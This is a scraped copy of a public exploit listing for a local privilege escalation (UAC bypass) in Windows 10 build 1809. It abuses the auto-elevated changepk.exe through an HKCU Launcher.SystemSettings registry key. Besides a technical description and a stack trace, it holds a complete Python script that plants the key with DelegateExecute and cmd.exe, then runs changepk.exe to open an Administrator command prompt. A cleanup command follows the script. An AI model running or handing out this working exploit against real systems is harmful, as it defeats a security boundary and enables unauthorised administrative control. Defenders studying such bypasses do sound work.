Microsoft Windows 10 build 1809 Local Privilege Escalation (UAC Bypass)

Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020010101

Below is a copy:

Microsoft Windows 10 build 1809 Local Privilege Escalation (UAC Bypass)
# Exploit Title: Microsoft Windows 10 - Local Privilege Escalation (UAC Bypass)
# Author: Nassim Asrir
# Date: 2019-01-10
# Exploit Author: Nassim Asrir
# CVE: N/A
# Tested On: Windows 10Pro 1809
# Vendor : https://www.microsoft.com

# Technical Details

# I discovered a Local Privilege Escalation in Windows 10 (UAC Bypass), via an auto-elevated process.
# The executable is changepk.exe. changepk is used to pass a new product key, you can pass the key also via commandline.
# By executing changepk.exe and tracing the process we can see some RegOpenKey operations that lead to open some non-found Key in the registry (HKCU).
# In our case we can use "HKCU:\Software\Classes\Launcher.SystemSettings\Shell\Open\Command" to spawn our Administrator cmd or to bypass the mmc UAC.

# ntoskrnl.exeObOpenObjectByNameEx + 0x32db0xfffff8073106270bC:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exeRtlMapGenericMask + 0x25480xfffff80731090118C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exeObOpenObjectByNameEx + 0x1bd90xfffff80731061009C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exeObOpenObjectByNameEx + 0x1df0xfffff8073105f60fC:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exeSeCaptureSubjectContextEx + 0x7c80xfffff8073105dc98C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exeSeCaptureSubjectContextEx + 0x51f0xfffff8073105d9efC:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exesetjmpex + 0x78e50xfffff80730bd9c05C:\WINDOWS\system32\ntoskrnl.exe
# ntdll.dllZwOpenKeyEx + 0x140x7ff877501a94C:\Windows\System32\ntdll.dll
# KernelBase.dllRegEnumKeyExW + 0x4c50x7ff874161655C:\Windows\System32\KernelBase.dll
# KernelBase.dllMapPredefinedHandleInternal + 0xca50x7ff874162fb5C:\Windows\System32\KernelBase.dll
# KernelBase.dllRegOpenKeyExInternalW + 0x1410x7ff874161fa1C:\Windows\System32\KernelBase.dll
# KernelBase.dllRegOpenKeyExW + 0x190x7ff874161e49C:\Windows\System32\KernelBase.dll
# SHCore.dllSHGetValueW + 0x8c0x7ff87469bfccC:\Windows\System32\SHCore.dll
# shell32.dllOrdinal790 + 0xb2820x7ff87532fd22C:\Windows\System32\shell32.dll
# shell32.dllOrdinal790 + 0xad560x7ff87532f7f6C:\Windows\System32\shell32.dll
# shell32.dllSHChangeNotification_Lock + 0x2b80x7ff8753a2a58C:\Windows\System32\shell32.dll
# shell32.dllOrdinal790 + 0xb0cb0x7ff87532fb6bC:\Windows\System32\shell32.dll
# shell32.dllOrdinal790 + 0xa2540x7ff87532ecf4C:\Windows\System32\shell32.dll
# shell32.dllOrdinal790 + 0xa7c60x7ff87532f266C:\Windows\System32\shell32.dll
# shell32.dllShell_NotifyIconW + 0x16950x7ff875349c75C:\Windows\System32\shell32.dll
# shell32.dllSHGetFileInfoW + 0x18a50x7ff87536a8c5C:\Windows\System32\shell32.dll
# shell32.dllSignalFileOpen + 0x33b0x7ff8753a140bC:\Windows\System32\shell32.dll
# shell32.dllSignalFileOpen + 0x25b0x7ff8753a132bC:\Windows\System32\shell32.dll
# shell32.dllOrdinal99 + 0x9c60x7ff87534ff96C:\Windows\System32\shell32.dll
# shell32.dllSHGetSpecialFolderLocation + 0x28e0x7ff8753bac5eC:\Windows\System32\shell32.dll
# SHCore.dllOrdinal233 + 0x3c50x7ff8746ac315C:\Windows\System32\SHCore.dll
# kernel32.dllBaseThreadInitThunk + 0x140x7ff875087974C:\Windows\System32\kernel32.dll
# ntdll.dllRtlUserThreadStart + 0x210x7ff8774ca271C:\Windows\System32\ntdll.dll


# Exploit
# To exploit the vulnerability you can use this python code then execute it and you will get the Windows Activation just click Yes and you will redirect the execution to cmd.exe.

# -*- coding: utf-8 -*-
import os
import sys
import ctypes
import _winreg
import time

print "Creating Registry Key ....."
print ""
time.sleep(3)
def create_reg_key(key, value):

    try:  
        _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\Launcher.SystemSettings\Shell\Open\Command')
        registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\Launcher.SystemSettings\Shell\Open\Command', 0, _winreg.KEY_WRITE)                
        _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)        
        _winreg.CloseKey(registry_key)
    except WindowsError:        
        raise

print "Registry Key Created :)"
print ""
print "Inserting the command ...."
time.sleep(3)
print ""
def exec_bypass_uac(cmd):
    try:
        create_reg_key('DelegateExecute', '')
        create_reg_key(None, cmd)    
    except WindowsError:
        raise

def bypass_uac():     
 try:                
    current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
    cmd = "C:\windows\System32\cmd.exe"
    exec_bypass_uac(cmd)                
    os.system(r'C:\windows\system32\changepk.exe')  
    return 1               
 except WindowsError:
    sys.exit(1)       

if __name__ == '__main__':

    if bypass_uac():
        print "Good job you got your Administrator cmd :)"


# Don't Fogot:  reg delete "HKCU\Software\Classes\Launcher.SystemSettings\Shell\Open\Command" /f
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